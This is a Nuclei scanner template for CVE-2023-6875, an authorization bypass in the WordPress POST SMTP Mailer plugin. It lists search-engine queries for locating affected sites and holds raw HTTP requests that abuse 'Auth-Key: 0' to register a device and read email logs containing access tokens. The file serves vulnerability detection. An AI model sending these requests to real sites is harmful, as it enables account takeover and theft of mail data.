69 lines
2.7 KiB
YAML
69 lines
2.7 KiB
YAML
id: CVE-2023-6875
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info:
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name: WordPress POST SMTP Mailer <= 2.8.7 - Authorization Bypass
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author: iamnoooob,rootxharsh,pdresearch
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severity: critical
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description: |
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The POST SMTP Mailer – Email log, Delivery Failure Notifications and Best Mail SMTP for WordPress plugin for WordPress is vulnerable to unauthorized access of data and modification of data due to a type juggling issue on the connect-app REST endpoint in all versions up to, and including, 2.8.7.
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remediation: Fixed in 2.8.8
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reference:
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- https://plugins.trac.wordpress.org/browser/post-smtp/trunk/Postman/Mobile/includes/rest-api/v1/rest-api.php#L60
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- https://plugins.trac.wordpress.org/changeset/3016051/post-smtp/trunk?contextall=1&old=3012318&old_path=%2Fpost-smtp%2Ftrunk
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- https://www.wordfence.com/threat-intel/vulnerabilities/id/e675d64c-cbb8-4f24-9b6f-2597a97b49af?source=cve
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- https://nvd.nist.gov/vuln/detail/CVE-2023-6875
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- https://github.com/UlyssesSaicha/CVE-2023-6875
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-6875
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cwe-id: CWE-862
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epss-score: 0.05153
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epss-percentile: 0.92961
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cpe: cpe:2.3:a:wpexperts:post_smtp_mailer:*:*:*:*:*:wordpress:*:*
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metadata:
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verified: true
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max-request: 3
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vendor: wpexperts
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product: post_smtp_mailer
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framework: wordpress
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shodan-query: http.html:/wp-content/plugins/post-smtp
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fofa-query: body=/wp-content/plugins/post-smtp
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publicwww-query: "/wp-content/plugins/post-smtp"
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tags: cve,cve2023,wp,wp-plugin,wordpress,smtp,mailer,auth-bypass
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variables:
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fcm_token: "{{randstr_1}}"
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device: "{{randstr_2}}"
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http:
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- raw:
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- |
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POST /wp-json/post-smtp/v1/connect-app HTTP/1.1
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Host: {{Hostname}}
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Auth-Key: 0
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Device: {{device}}
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Fcm-Token: {{fcm_token}}
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Content-Type: application/x-www-form-urlencoded
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- |
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POST /wp-json/post-smtp/v1/connect-app HTTP/1.1
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Host: {{Hostname}}
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Auth-Key: 0
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Device: {{device}}
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Fcm-Token: {{fcm_token}}
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Content-Type: application/x-www-form-urlencoded
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- |
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GET /wp-json/post-smtp/v1/get-log HTTP/1.1
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Host: {{Hostname}}
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Auth-Key: 0
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Device: {{device}}
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Fcm-Token: {{fcm_token}}
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matchers:
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- type: dsl
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dsl:
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- 'contains_all(body_2, "success\":true,", "{\"fcm_token\":\"{{fcm_token}}")'
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- 'contains_all(body_3, "true,\"data\":", "access_token=")'
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condition: and
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# digest: 490a00463044022054ee2def0b29dd215b74e42c2b2fae960ec0297d5d2e8218b287ca21b198810802200d71bf6828498c33e1b0e6e7dfd452c17b144bffdb1857b383b8a82ff70521b2:922c64590222798bb761d5b6d8e72950 |